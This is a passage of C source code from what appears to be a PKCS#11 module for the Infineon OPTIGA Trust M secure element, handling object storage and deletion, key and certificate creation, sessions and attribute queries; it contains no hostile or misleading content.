(OPTIGA_UTIL_ERASE_AND_WRITE) option, * to clear the remaining data in the object */ lOptigaOid = strtol(pucLabel, &xEnd, 16); if ( (0 != lOptigaOid) && (USHRT_MAX >= lOptigaOid) && (USHRT_MAX >= ulDataSize)) { pal_os_lock_acquire(&optiga_mutex); pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xReturn = optiga_util_write_data(pkcs11_context.object_list.optiga_util_instance, (uint16_t)lOptigaOid, OPTIGA_UTIL_ERASE_AND_WRITE, 0, pucData, ulDataSize); if (OPTIGA_LIB_SUCCESS == xReturn) { while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } if (OPTIGA_LIB_SUCCESS == pkcs11_context.object_list.optiga_lib_status) { xReturn = OPTIGA_LIB_SUCCESS; } } pal_os_lock_release(&optiga_mutex); } return xReturn; } /** * @brief Saves an object in non-volatile storage. * * Port-specific file write for cryptographic information. * * @param[in] pxLabel The label of the object to be stored. * @param[in] pucData The object data to be saved * @param[in] pulDataSize Size (in bytes) of object data. * * @return The object handle if successful. * eInvalidHandle = 0 if unsuccessful. */ CK_OBJECT_HANDLE save_object( CK_ATTRIBUTE_PTR pxLabel, uint8_t * pucData, uint32_t ulDataSize ) { CK_OBJECT_HANDLE object_handle = eInvalidHandle; long lOptigaOid = 0; uint8_t bOffset = 0; char* xEnd = NULL; optiga_lib_status_t xReturn = OPTIGA_UTIL_ERROR;; if( ulDataSize <= pkcs11OBJECT_CERTIFICATE_MAX_SIZE ) { /* Translate from the PKCS#11 label to local storage file name. */ if( 0 == memcmp( pxLabel->pValue, &LABEL_DEVICE_CERTIFICATE_FOR_TLS, sizeof( LABEL_DEVICE_CERTIFICATE_FOR_TLS ) ) ) { if ( upload_certificate(LABEL_DEVICE_CERTIFICATE_FOR_TLS, pucData, ulDataSize) == OPTIGA_LIB_SUCCESS) { object_handle = DeviceCertificate; } } else if( (0 == memcmp( pxLabel->pValue, &LABEL_DEVICE_PRIVATE_KEY_FOR_TLS, sizeof( LABEL_DEVICE_PRIVATE_KEY_FOR_TLS ) )) || (0 == memcmp( pxLabel->pValue, &LABEL_DEVICE_RSA_PRIVATE_KEY_FOR_TLS, sizeof( LABEL_DEVICE_RSA_PRIVATE_KEY_FOR_TLS ) ))) { /* This operation isn't supported for the OPTIGA(TM) Trust M due to a security considerations * You can only generate a keypair and export a private component if you like */ /* We do assign a handle though, as the AWS can#t handle the lables without having a handle*/ object_handle = DevicePrivateKey; } else if( 0 == memcmp( pxLabel->pValue, &LABEL_DEVICE_PUBLIC_KEY_FOR_TLS, sizeof( LABEL_DEVICE_PUBLIC_KEY_FOR_TLS ) ) ) { if (upload_public_key(LABEL_DEVICE_PUBLIC_KEY_FOR_TLS, pucData, ulDataSize) == OPTIGA_LIB_SUCCESS) { object_handle = DevicePublicKey; } } else if( 0 == memcmp( pxLabel->pValue, &LABEL_DEVICE_RSA_PUBLIC_KEY_FOR_TLS, sizeof( LABEL_DEVICE_RSA_PUBLIC_KEY_FOR_TLS ) ) ) { if (upload_public_key(LABEL_DEVICE_RSA_PUBLIC_KEY_FOR_TLS, pucData, ulDataSize) == OPTIGA_LIB_SUCCESS) { object_handle = DevicePublicKey; } } else if( 0 == memcmp( pxLabel->pValue, &LABEL_CODE_VERIFICATION_KEY, sizeof( LABEL_CODE_VERIFICATION_KEY ) ) ) { /** * Write a Code Verification Key/Certificate to an Trust Anchor data object * Note: You might need to lock the data object here. see optiga_util_write_metadata() * * Use Erase and Write (OPTIGA_UTIL_ERASE_AND_WRITE) option, * to clear the remaining data in the object */ lOptigaOid = strtol(LABEL_CODE_VERIFICATION_KEY, &xEnd, 16); if ( (0 != lOptigaOid) && (USHRT_MAX > lOptigaOid) && (USHRT_MAX > ulDataSize)) { pal_os_lock_acquire(&optiga_mutex); pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xReturn = optiga_util_write_data(pkcs11_context.object_list.optiga_util_instance, (uint16_t)lOptigaOid, OPTIGA_UTIL_ERASE_AND_WRITE, bOffset, pucData, ulDataSize); if (OPTIGA_LIB_SUCCESS == xReturn) { while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } if (OPTIGA_LIB_SUCCESS == pkcs11_context.object_list.optiga_lib_status) { if (OPTIGA_LIB_SUCCESS == xReturn) object_handle = CodeSigningKey; } } pal_os_lock_release(&optiga_mutex); } } } return object_handle; } CK_RV destroy_object( CK_OBJECT_HANDLE xAppHandle ) { uint8_t * pcLabel = NULL; char * pcTempLabel = NULL; size_t xLabelLength = 0; uint32_t ulObjectLength = 0; CK_RV xResult = CKR_OK; CK_BBOOL xFreeMemory = CK_FALSE; CK_BYTE_PTR pxObject = NULL; CK_OBJECT_HANDLE xPalHandle; CK_OBJECT_HANDLE xAppHandle2; CK_LONG lOptigaOid = 0; char* xEnd = NULL; find_object_in_list_by_handle( xAppHandle, &xPalHandle, &pcLabel, &xLabelLength ); if( pcLabel != NULL ) { if( (0 == memcmp( pcLabel, LABEL_DEVICE_PRIVATE_KEY_FOR_TLS, xLabelLength ))) { find_object_in_list_by_label( ( uint8_t * ) pcLabel, strlen( ( char * ) pcLabel ), &xPalHandle, &xAppHandle2 ); if( xPalHandle != CK_INVALID_HANDLE ) { xResult = delete_object_from_list( xAppHandle2 ); } lOptigaOid = strtol((const char *)pcLabel, &xEnd, 16); CK_BYTE pucDumbData[68]; uint16_t ucDumbDataLength = 68; pal_os_lock_acquire(&optiga_mutex); pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xResult = optiga_crypt_ecc_generate_keypair(pkcs11_context.object_list.optiga_crypt_instance, OPTIGA_ECC_CURVE_NIST_P_256, (uint8_t)OPTIGA_KEY_USAGE_SIGN, FALSE, &lOptigaOid, pucDumbData, &ucDumbDataLength); if (OPTIGA_LIB_SUCCESS != xResult) { PKCS11_PRINT( ( "ERROR: Failed to invalidate a keypair \r\n" ) ); xResult = CKR_FUNCTION_FAILED; } if (OPTIGA_LIB_SUCCESS == xResult) { while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // Either by timout or because of success it should end up here if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { PKCS11_PRINT( ( "ERROR: Failed to invalidate a keypair \r\n" ) ); xResult = CKR_FUNCTION_FAILED; } } pal_os_lock_release(&optiga_mutex); } else { if( 0 == memcmp( pcLabel, LABEL_DEVICE_PUBLIC_KEY_FOR_TLS, xLabelLength ) ) { pcTempLabel = LABEL_DEVICE_PUBLIC_KEY_FOR_TLS; } else if( 0 == memcmp( pcLabel, LABEL_DEVICE_CERTIFICATE_FOR_TLS, xLabelLength ) ) { pcTempLabel = LABEL_DEVICE_CERTIFICATE_FOR_TLS; } else if( 0 == memcmp( pcLabel, LABEL_CODE_VERIFICATION_KEY, xLabelLength ) ) { pcTempLabel = LABEL_CODE_VERIFICATION_KEY; } if (pcTempLabel != NULL) { lOptigaOid = strtol(pcTempLabel, &xEnd, 16); if ( (0 != lOptigaOid) && (USHRT_MAX >= lOptigaOid) ) { // Erase the object CK_BYTE pucData[] = {0}; pal_os_lock_acquire(&optiga_mutex); pkcs11_context.object_list.optiga_lib_status = OPTIGA_LIB_BUSY; xResult = optiga_util_write_data(pkcs11_context.object_list.optiga_util_instance, (uint16_t)lOptigaOid, OPTIGA_UTIL_ERASE_AND_WRITE, 0, // Offset pucData, 1); if (OPTIGA_LIB_SUCCESS != xResult) { xResult = CKR_FUNCTION_FAILED; } if (OPTIGA_LIB_SUCCESS == xResult) { while (OPTIGA_LIB_BUSY == pkcs11_context.object_list.optiga_lib_status) { } // Either by timout or because of success it should end up here if (OPTIGA_LIB_SUCCESS != pkcs11_context.object_list.optiga_lib_status) { xResult = CKR_FUNCTION_FAILED; } else { find_object_in_list_by_label( ( uint8_t * ) pcTempLabel, strlen( ( char * ) pcTempLabel ), &xPalHandle, &xAppHandle2 ); if( xPalHandle != CK_INVALID_HANDLE ) { xResult = delete_object_from_list( xAppHandle2 ); } } } pal_os_lock_release(&optiga_mutex); } } else { xResult = CKR_KEY_HANDLE_INVALID; } } if (xAppHandle2 != xAppHandle) xResult = delete_object_from_list( xAppHandle ); } else { xResult = CKR_KEY_HANDLE_INVALID; } if( xFreeMemory == CK_TRUE ) { get_object_value_cleanup( pxObject, ulObjectLength ); } return xResult; } CK_RV create_certificate( CK_ATTRIBUTE_PTR pxTemplate, CK_ULONG ulCount, CK_OBJECT_HANDLE_PTR pxObject ) { CK_RV xResult = CKR_OK; CK_BYTE_PTR pxCertificateValue = NULL; CK_ULONG xCertificateLength = 0; CK_ATTRIBUTE_PTR pxLabel = NULL; CK_OBJECT_HANDLE xPalHandle = CK_INVALID_HANDLE; CK_CERTIFICATE_TYPE xCertificateType = 0; /* = CKC_X_509; */ uint32_t ulIndex = 0; CK_ATTRIBUTE xAttribute; /* Search for the pointer to the certificate VALUE. */ for( ulIndex = 0; ulIndex < ulCount; ulIndex++ ) { xAttribute = pxTemplate[ ulIndex ]; switch( xAttribute.type ) { case ( CKA_VALUE ): pxCertificateValue = xAttribute.pValue; xCertificateLength = xAttribute.ulValueLen; break; case ( CKA_LABEL ): if( xAttribute.ulValueLen < MAX_LABEL_LENGTH ) { pxLabel = &pxTemplate[ ulIndex ]; } else { xResult = CKR_DATA_LEN_RANGE; } break; case ( CKA_CERTIFICATE_TYPE ): memcpy( &xCertificateType, xAttribute.pValue, sizeof( CK_CERTIFICATE_TYPE ) ); if( xCertificateType != CKC_X_509 ) { xResult = CKR_ATTRIBUTE_VALUE_INVALID; } break; case ( CKA_CLASS ): case ( CKA_SUBJECT ): case ( CKA_TOKEN ): /* Do nothing. This was already parsed out of the template previously. */ break; default: xResult = CKR_TEMPLATE_INCONSISTENT; break; } } if( ( pxCertificateValue == NULL ) || ( pxLabel == NULL ) ) { xResult = CKR_TEMPLATE_INCOMPLETE; } if( xResult == CKR_OK ) { xPalHandle = save_object( pxLabel, pxCertificateValue, xCertificateLength ); if( xPalHandle == 0 ) /*Invalid handle. */ { xResult = CKR_DEVICE_MEMORY; } } if( xResult == CKR_OK ) { xResult = add_object_to_list( xPalHandle, pxObject, pxLabel->pValue, pxLabel->ulValueLen ); /* TODO: If this fails, should the object be wiped back out of flash? But what if that fails?!?!? */ } return xResult; } #define PKCS11_INVALID_KEY_TYPE ( ( CK_KEY_TYPE ) 0xFFFFFFFF ) CK_KEY_TYPE get_key_type( CK_ATTRIBUTE_PTR pxTemplate, CK_ULONG ulCount ) { CK_KEY_TYPE xKeyType = PKCS11_INVALID_KEY_TYPE; uint32_t ulIndex; CK_ATTRIBUTE xAttribute; for( ulIndex = 0; ulIndex < ulCount; ulIndex++ ) { xAttribute = pxTemplate[ ulIndex ]; if( xAttribute.type == CKA_KEY_TYPE ) { memcpy( &xKeyType, xAttribute.pValue, sizeof( CK_KEY_TYPE ) ); break; } } return xKeyType; } void get_label( CK_ATTRIBUTE_PTR * ppxLabel, CK_ATTRIBUTE_PTR pxTemplate, CK_ULONG ulCount ) { CK_ATTRIBUTE xAttribute; uint32_t ulIndex; *ppxLabel = NULL; for( ulIndex = 0; ulIndex < ulCount; ulIndex++ ) { xAttribute = pxTemplate[ ulIndex ]; if( xAttribute.type == CKA_LABEL ) { *ppxLabel = &pxTemplate[ ulIndex ]; break; } } } CK_RV create_ec_public_key( uint8_t* pxPublicKey, uint32_t* pulKeySize, CK_ATTRIBUTE_PTR * ppxLabel, CK_ATTRIBUTE_PTR pxTemplate, CK_ULONG ulCount, CK_OBJECT_HANDLE_PTR pxObject ) { CK_RV xResult = CKR_OK; CK_BBOOL xBool; uint32_t ulIndex; CK_ATTRIBUTE xAttribute; for( ulIndex = 0; ulIndex < ulCount; ulIndex++ ) { xAttribute = pxTemplate[ ulIndex ]; switch( xAttribute.type ) { case ( CKA_CLASS ): case ( CKA_KEY_TYPE ): case ( CKA_TOKEN ): /* Do nothing. * At this time there is only token object support. * Key type and class were checked previously. */ break; case ( CKA_LABEL ): if( xAttribute.ulValueLen < MAX_LABEL_LENGTH ) { *ppxLabel = &pxTemplate[ ulIndex ]; } else { xResult = CKR_DATA_LEN_RANGE; } break; case ( CKA_VERIFY ): memcpy( &xBool, xAttribute.pValue, xAttribute.ulValueLen ); if( xBool != CK_TRUE ) { PKCS11_PRINT( ( "Only EC Public Keys with verify permissions supported. \r\n" ) ); xResult = CKR_ATTRIBUTE_VALUE_INVALID; } break; case ( CKA_EC_PARAMS ): if( memcmp( ( CK_BYTE[] ) pkcs11DER_ENCODED_OID_P256, xAttribute.pValue, xAttribute.ulValueLen ) ) { PKCS11_PRINT( ( "ERROR: Only elliptic curve P-256 is supported.\r\n" ) ); xResult = CKR_ATTRIBUTE_VALUE_INVALID; } break; case ( CKA_EC_POINT ): if (*pulKeySize > (xAttribute.ulValueLen - 2)) { /* The first 2 bytes are for ASN1 type/length encoding. */ memcpy(pxPublicKey, ( ( uint8_t * ) ( xAttribute.pValue ) + 2 ), ( xAttribute.ulValueLen - 2 )); *pulKeySize = xAttribute.ulValueLen - 2; } else { xResult = CKR_ATTRIBUTE_VALUE_INVALID; } break; default: PKCS11_PRINT( ( "Unsupported attribute found for EC public key. %d \r\n", xAttribute.type ) ); xResult = CKR_ATTRIBUTE_TYPE_INVALID; break; } } return xResult; } CK_RV create_public_key( CK_ATTRIBUTE_PTR pxTemplate, CK_ULONG ulCount, CK_OBJECT_HANDLE_PTR pxObject ) { CK_KEY_TYPE xKeyType; CK_RV xResult = CKR_OK; CK_ATTRIBUTE_PTR pxLabel = NULL; CK_OBJECT_HANDLE xPalHandle = CK_INVALID_HANDLE; uint8_t pxPublicKey[MAX_PUBLIC_KEY_SIZE]; uint32_t ulKeySize = MAX_PUBLIC_KEY_SIZE; xKeyType = get_key_type( pxTemplate, ulCount ); if( ( xKeyType == CKK_EC ) || ( xKeyType == CKK_ECDSA ) ) { get_label( &pxLabel, pxTemplate, ulCount ); xResult = create_ec_public_key( pxPublicKey, &ulKeySize, &pxLabel, pxTemplate, ulCount, pxObject ); } else { PKCS11_PRINT( ( "Invalid key type %d \r\n", xKeyType ) ); xResult = CKR_TEMPLATE_INCONSISTENT; } if( xResult == CKR_OK ) { xPalHandle = save_object( pxLabel, pxPublicKey, ulKeySize ); if( xPalHandle == CK_INVALID_HANDLE ) { xResult = CKR_DEVICE_MEMORY; } } if( xResult == CKR_OK ) { xResult = add_object_to_list( xPalHandle, pxObject, pxLabel->pValue, pxLabel->ulValueLen ); } return xResult; } CK_RV get_object_class( CK_ATTRIBUTE_PTR pxTemplate, CK_ULONG ulCount, CK_OBJECT_CLASS * pxClass ) { CK_RV xResult = CKR_TEMPLATE_INCOMPLETE; uint32_t ulIndex = 0; /* Search template for class attribute. */ for( ulIndex = 0; ulIndex < ulCount; ulIndex++ ) { CK_ATTRIBUTE xAttribute = pxTemplate[ ulIndex ]; if( xAttribute.type == CKA_CLASS ) { memcpy( pxClass, xAttribute.pValue, sizeof( CK_OBJECT_CLASS ) ); xResult = CKR_OK; break; } } return xResult; } /** * @brief Provides import and storage of a single client certificate. */ CK_DEFINE_FUNCTION( CK_RV, C_CreateObject )( CK_SESSION_HANDLE xSession, CK_ATTRIBUTE_PTR pxTemplate, CK_ULONG ulCount, CK_OBJECT_HANDLE_PTR pxObject ) { /*lint !e9072 It's OK to have different parameter name. */ CK_RV xResult = PKCS11_SESSION_VALID_AND_MODULE_INITIALIZED(xSession); CK_OBJECT_CLASS xClass; /* Avoid warnings about unused parameters. */ ( void ) xSession; /* * Check parameters. */ if( ( NULL == pxTemplate ) || ( NULL == pxObject ) || (CKR_OK != xResult)) { xResult = CKR_ARGUMENTS_BAD; } if( xResult == CKR_OK ) { xResult = get_object_class( pxTemplate, ulCount, &xClass ); } if( xResult == CKR_OK ) { switch( xClass ) { case CKO_CERTIFICATE: xResult = create_certificate( pxTemplate, ulCount, pxObject ); break; case CKO_PRIVATE_KEY: xResult = CKR_ATTRIBUTE_VALUE_INVALID; break; case CKO_PUBLIC_KEY: xResult = create_public_key( pxTemplate, ulCount, pxObject ); break; default: xResult = CKR_ATTRIBUTE_VALUE_INVALID; break; } } return xResult; } /** * @brief Free resources attached to an object handle. */ CK_DEFINE_FUNCTION( CK_RV, C_DestroyObject )( CK_SESSION_HANDLE xSession, CK_OBJECT_HANDLE xObject ) { CK_RV xResult; ( void ) xSession; ( void ) xObject; xResult = destroy_object( xObject ); return xResult; } /** * @brief Initialize the Cryptoki module for use. */ CK_DEFINE_FUNCTION( CK_RV, C_Initialize )( CK_VOID_PTR pvInitArgs ) { /*lint !e9072 It's OK to have different parameter name. */ ( void ) ( pvInitArgs ); CK_RV xResult = CKR_OK; /* Ensure that the FreeRTOS heap is used. */ // CRYPTO_ConfigureHeap(); if( pkcs11_context.is_initialized != CK_TRUE ) { /* * Reset OPTIGA(TM) Trust M and open an application on it */ xResult = optiga_trustm_initialize(); if (xResult == CKR_OK) { pkcs11_context.is_initialized = CK_TRUE; } } else { xResult = CKR_CRYPTOKI_ALREADY_INITIALIZED; } return xResult; } /** * @brief Un-initialize the Cryptoki module. */ CK_DEFINE_FUNCTION( CK_RV, C_Finalize )( CK_VOID_PTR pvReserved ) { /*lint !e9072 It's OK to have different parameter name. */ CK_RV xResult = CKR_OK; if( NULL != pvReserved ) { xResult = CKR_ARGUMENTS_BAD; } if( xResult == CKR_OK ) { if( pkcs11_context.is_initialized == CK_FALSE ) { xResult = CKR_CRYPTOKI_NOT_INITIALIZED; } else { /* * Reset OPTIGA(TM) Trust M and open an application on it */ xResult = optiga_trustm_deinitialize(); } if( xResult == CKR_OK ) { #ifdef __linux__ sem_destroy( &pkcs11_context.object_list.semaphore ); #endif pkcs11_context.is_initialized = CK_FALSE; } pal_gpio_deinit(&optiga_reset_0); pal_gpio_deinit(&optiga_vdd_0); } return xResult; } /** * @brief Query the list of interface function pointers. */ CK_DEFINE_FUNCTION( CK_RV, C_GetFunctionList )( CK_FUNCTION_LIST_PTR_PTR ppxFunctionList ) { /*lint !e9072 It's OK to have different parameter name. */ CK_RV xResult = CKR_OK; if( NULL == ppxFunctionList ) { xResult = CKR_ARGUMENTS_BAD; } else { *ppxFunctionList = &prvP11FunctionList; } return xResult; } /** * @brief Query the list of slots. A single default slot is implemented. */ CK_DEFINE_FUNCTION( CK_RV, C_GetSlotList )( CK_BBOOL xTokenPresent, CK_SLOT_ID_PTR pxSlotList, CK_ULONG_PTR pulCount ) { /*lint !e9072 It's OK to have different parameter name. */ CK_RV xResult = CKR_OK; /* Since the implementation of PKCS#11 does not depend * on a physical token, this parameter is ignored. */ ( void ) ( xTokenPresent ); if( NULL == pulCount ) { xResult = CKR_ARGUMENTS_BAD; } else if( NULL == pxSlotList ) { *pulCount = 1; } else { if( 0u == *pulCount ) { xResult = CKR_BUFFER_TOO_SMALL; } else { pxSlotList[ 0 ] = pkcs11SLOT_ID; *pulCount = 1; } } return xResult; } /** * @brief Returns firmware, hardware, manufacturer, and model information for * the crypto token. * * @return CKR_OK. */ CK_DEFINE_FUNCTION( CK_RV, C_GetTokenInfo )( CK_SLOT_ID slotID, CK_TOKEN_INFO_PTR pInfo ) { CK_RV xResult = CKR_SLOT_ID_INVALID; do { if ( pkcs11SLOT_ID != slotID) { break; } if ( pInfo == NULL ) { xResult = CKR_ARGUMENTS_BAD; break; } pInfo->firmwareVersion.major = 0x2; pInfo->firmwareVersion.minor = 0x28; pInfo->hardwareVersion.major = 1; pInfo->hardwareVersion.minor = 0; sprintf((char *)pInfo->manufacturerID, "Infineon Technologies AG"); sprintf((char *)pInfo->model, "OPTIGA Trust M"); pInfo->ulMaxSessionCount = 4; xResult = CKR_OK; } while(0); return xResult; } /** * @brief This function obtains information about a particular * mechanism possibly supported by a token. * * \param[in] xSlotID This parameter is unused in this port. * \param[in] type The cryptographic capability for which support * information is being queried. * \param[out] pInfo Algorithm sizes and flags for the requested * mechanism, if supported. * * @return CKR_OK if the mechanism is supported. Otherwise, CKR_MECHANISM_INVALID. */ CK_DEFINE_FUNCTION( CK_RV, C_GetMechanismInfo )( CK_SLOT_ID slotID, CK_MECHANISM_TYPE type, CK_MECHANISM_INFO_PTR pInfo ) { CK_RV xResult = CKR_MECHANISM_INVALID; struct CryptoMechanisms { CK_MECHANISM_TYPE xType; CK_MECHANISM_INFO xInfo; } pxSupportedMechanisms[] = { { CKM_ECDSA, { 256, 521, CKF_SIGN | CKF_VERIFY } }, { CKM_RSA_PKCS, { 1024, 2048, CKF_SIGN | CKF_VERIFY | CKA_ENCRYPT | CKA_DECRYPT } }, { CKM_RSA_PKCS_KEY_PAIR_GEN, { 1024, 2048, CKF_GENERATE_KEY_PAIR } }, { CKM_EC_KEY_PAIR_GEN, { 256, 521, CKF_GENERATE_KEY_PAIR } }, { CKM_SHA256, { 0, 0, CKF_DIGEST } } }; uint32_t ulMech = 0; /* Look for the requested mechanism in the above table. */ for( ; ulMech < sizeof( pxSupportedMechanisms ) / sizeof( pxSupportedMechanisms[ 0 ] ); ulMech++ ) { if( pxSupportedMechanisms[ ulMech ].xType == type ) { /* The mechanism is supported. Copy out the details and break * out of the loop. */ memcpy( pInfo, &( pxSupportedMechanisms[ ulMech ].xInfo ), sizeof( CK_MECHANISM_INFO ) ); xResult = CKR_OK; break; } } return xResult; } /** * @brief This function is not implemented for this port. * * C_InitToken() is only implemented for compatibility with other ports. * All inputs to this function are ignored, and calling this * function on this port does not add any security. * * @return CKR_OK. */ CK_DEFINE_FUNCTION( CK_RV, C_InitToken )( CK_SLOT_ID slotID, CK_UTF8CHAR_PTR pPin, CK_ULONG ulPinLen, CK_UTF8CHAR_PTR pLabel ) { /* Avoid compiler warnings about unused variables. */ ( void ) slotID; ( void ) pPin; ( void ) ulPinLen; ( void ) pLabel; return CKR_OK; } /** * @brief Start a session for a cryptographic command sequence. */ CK_DEFINE_FUNCTION( CK_RV, C_OpenSession )( CK_SLOT_ID xSlotID, CK_FLAGS xFlags, CK_VOID_PTR pvApplication, CK_NOTIFY xNotify, CK_SESSION_HANDLE_PTR pxSession ) { /*lint !e9072 It's OK to have different parameter name. */ CK_RV xResult = CKR_OK; p_pkcs11_session_t pxSessionObj = NULL; ( void ) ( xSlotID ); ( void ) ( pvApplication ); ( void ) ( xNotify ); /* Check that the PKCS #11 module is initialized. */ if( pkcs11_context.is_initialized != CK_TRUE ) { xResult = CKR_CRYPTOKI_NOT_INITIALIZED; } /* Check arguments. */ if( NULL == pxSession ) { xResult = CKR_ARGUMENTS_BAD; } /* For legacy reasons, the CKF_SERIAL_SESSION bit MUST always be set. */ if( 0 == ( CKF_SERIAL_SESSION & xFlags ) ) { xResult = CKR_SESSION_PARALLEL_NOT_SUPPORTED; } /* * Make space for the context. */ if( CKR_OK == xResult ) { pxSessionObj = ( p_pkcs11_session_t ) malloc( sizeof( struct pkcs11_session ) ); if( NULL == pxSessionObj ) { xResult = CKR_HOST_MEMORY; } /* * Zero out the session structure. */ if( CKR_OK == xResult ) { memset( pxSessionObj, 0, sizeof( pkcs11_session_t ) ); } } if( CKR_OK == xResult ) { /* * Assign the session. */ pxSessionObj->state = 0u != ( xFlags & CKF_RW_SESSION ) ? CKS_RW_PUBLIC_SESSION : CKS_RO_PUBLIC_SESSION; pxSessionObj->opened = CK_TRUE; /* * Return the session. */ *pxSession = ( CK_SESSION_HANDLE ) pxSessionObj; /*lint !e923 Allow casting pointer to integer type for handle. */ } /* * Initialize the operation in progress. */ if( CKR_OK == xResult ) { pxSessionObj->operation_in_progress = pkcs11NO_OPERATION; } if( ( NULL != pxSessionObj ) && ( CKR_OK != xResult ) ) { free( pxSessionObj ); } return xResult; } /** * @brief Terminate a session and release resources. */ CK_DEFINE_FUNCTION( CK_RV, C_CloseSession )( CK_SESSION_HANDLE xSession ) { /*lint !e9072 It's OK to have different parameter name. */ CK_RV xResult = PKCS11_SESSION_VALID_AND_MODULE_INITIALIZED(xSession); p_pkcs11_session_t pxSession = get_session_pointer( xSession ); if( (xResult == CKR_OK) && (NULL != pxSession) ) { free( pxSession ); } else { xResult = CKR_SESSION_HANDLE_INVALID; } return xResult; } CK_DEFINE_FUNCTION( CK_RV, C_Login )( CK_SESSION_HANDLE hSession, CK_USER_TYPE userType, CK_UTF8CHAR_PTR pPin, CK_ULONG ulPinLen ) { /* THIS FUNCTION IS NOT IMPLEMENTED * If login capability is required, implement it here. * Defined for compatibility with other PKCS #11 ports. */ return CKR_OK; } /** * @brief Query the value of the specified cryptographic object attribute. * Regarding keys, only ECDSA P256 is supported by this implementation. */ CK_DEFINE_FUNCTION( CK_RV, C_GetAttributeValue )( CK_SESSION_HANDLE xSession, CK_OBJECT_HANDLE xObject, CK_ATTRIBUTE_PTR pxTemplate, CK_ULONG ulCount ) { /*lint !e9072 It's OK to have different parameter name. */ CK_RV xResult = PKCS11_SESSION_VALID_AND_MODULE_INITIALIZED(xSession); CK_BBOOL xIsPrivate = CK_TRUE; CK_ULONG iAttrib; CK_KEY_TYPE xPkcsKeyType = ( CK_KEY_TYPE ) ~0; CK_OBJECT_CLASS xClass; uint8_t * pxObjectValue = NULL; uint32_t ulLength = 0; uint8_t ucP256Oid[] = pkcs11DER_ENCODED_OID_P256; uint8_t ucP384Oid[] = pkcs11DER_ENCODED_OID_P384; uint8_t ucP521Oid[] = pkcs11DER_ENCODED_OID_P521; uint8_t temp_ec_value[11] = {0}; uint8_t temp_ec_length = 0; CK_OBJECT_HANDLE xPalHandle = CK_INVALID_HANDLE; size_t xSize; uint8_t * pcLabel = NULL; p_pkcs11_session_t session = get_session_pointer( xSession ); /* Avoid warnings about unused parameters. */ ( void ) xSession; if( (CKR_OK != xResult) || ( NULL == pxTemplate ) || ( 0 == ulCount ) ) { xResult = CKR_ARGUMENTS_BAD; } else { /* * Copy the object into a buffer. */ find_object_in_list_by_handle( xObject, &xPalHandle, &pcLabel, &xSize ); /*pcLabel and xSize are ignored. */ if( xPalHandle != CK_INVALID_HANDLE && xPalHandle != DevicePrivateKey ) { xResult = get_object_value( xPalHandle, &pxObjectValue, &ulLength, &xIsPrivate ); } else if (xPalHandle == CK_INVALID_HANDLE) { xResult = CKR_DATA_INVALID; } } if ( CKR_OK != xResult) { xResult = CKR_DATA_INVALID; } else { switch (xPalHandle) { case DevicePrivateKey: xClass = CKO_PRIVATE_KEY; break; case DevicePublicKey: xClass = CKO_PUBLIC_KEY; break; case DeviceCertificate: xClass = CKO_CERTIFICATE; break; default: xResult = CKR_DATA_INVALID; break; } } if( xResult == CKR_OK ) { for( iAttrib = 0; iAttrib < ulCount && CKR_OK == xResult; iAttrib++ ) { switch( pxTemplate[ iAttrib ].type ) { case CKA_CLASS: if( pxTemplate[ iAttrib ].pValue == NULL ) { pxTemplate[ iAttrib ].ulValueLen = sizeof( CK_OBJECT_CLASS ); } else { if( pxTemplate[ iAttrib ].ulValueLen >= sizeof( CK_OBJECT_CLASS ) ) { memcpy( pxTemplate[ iAttrib ].pValue, &xClass, sizeof( CK_OBJECT_CLASS ) ); } else { xResult = CKR_BUFFER_TOO_SMALL; } } break; case CKA_VALUE: if( xIsPrivate == CK_TRUE ) { pxTemplate[ iAttrib ].ulValueLen = CK_UNAVAILABLE_INFORMATION; xResult = CKR_ATTRIBUTE_SENSITIVE; } else { if( pxTemplate[ iAttrib ].pValue == NULL ) { pxTemplate[ iAttrib ].ulValueLen = ulLength; } else if( pxTemplate[ iAttrib ].ulValueLen < ulLength ) { xResult = CKR_BUFFER_TOO_SMALL; } else { memcpy( pxTemplate[ iAttrib ].pValue, pxObjectValue, ulLength ); } } break; case CKA_KEY_TYPE: if( pxTemplate[ iAttrib ].pValue == NULL ) { pxTemplate[ iAttrib ].ulValueLen = sizeof( CK_KEY_TYPE ); } else if( pxTemplate[ iAttrib ].ulValueLen < sizeof( CK_KEY_TYPE ) ) { xResult = CKR_BUFFER_TOO_SMALL; } else { if( 0 != xResult ) { xResult = CKR_FUNCTION_FAILED; } else { /* Elliptic-curve is the only asymmetric cryptosystem * supported by this implementation. */ xPkcsKeyType = CKK_EC; memcpy( pxTemplate[ iAttrib ].pValue, &xPkcsKeyType, sizeof( CK_KEY_TYPE ) ); } } break; case CKA_EC_PARAMS: if ( session->ec_key_type == OPTIGA_ECC_CURVE_NIST_P_256) { temp_ec_length = sizeof(ucP256Oid); memcpy(temp_ec_value,ucP256Oid,temp_ec_length); } else if ( session->ec_key_type == OPTIGA_ECC_CURVE_NIST_P_384) { temp_ec_length = sizeof(ucP384Oid); memcpy(temp_ec_value,ucP384Oid,temp_ec_length); } else if ( session->ec_key_type == OPTIGA_ECC_CURVE_NIST_P_521) { temp_ec_length = sizeof(ucP521Oid); memcpy(temp_ec_value,ucP521Oid,temp_ec_length); } pxTemplate[ iAttrib ].ulValueLen = temp_ec_length; if( pxTemplate[ iAttrib ].pValue != NULL ) { if( pxTemplate[ iAttrib ].ulValueLen < temp_ec_length ) { xResult = CKR_BUFFER_TOO_SMALL; } else { memcpy( pxTemplate[ iAttrib ].pValue, temp_ec_value, temp_ec_length ); } } break; case CKA_EC_POINT: if( pxTemplate[ iAttrib ].pValue == NULL ) { pxTemplate[ iAttrib ].ulValueLen = 67; /* TODO: Is this large enough?*/ } else { if (pxTemplate[ iAttrib ].ulValueLen < ulLength ) { xResult = CKR_BUFFER_TOO_SMALL; } else { memcpy( ( uint8_t * ) pxTemplate[ iAttrib ].pValue, ( uint8_t * ) pxObjectValue, ulLength); pxTemplate[ iAttrib ].ulValueLen = ulLength; } } break; default: xResult = CKR_ATTRIBUTE_TYPE_INVALID; } } /* Free the buffer where object was stored. */ get_object_value_cleanup( pxObjectValue, ulLength ); } return xResult; } /** * @brief Begin an enumeration 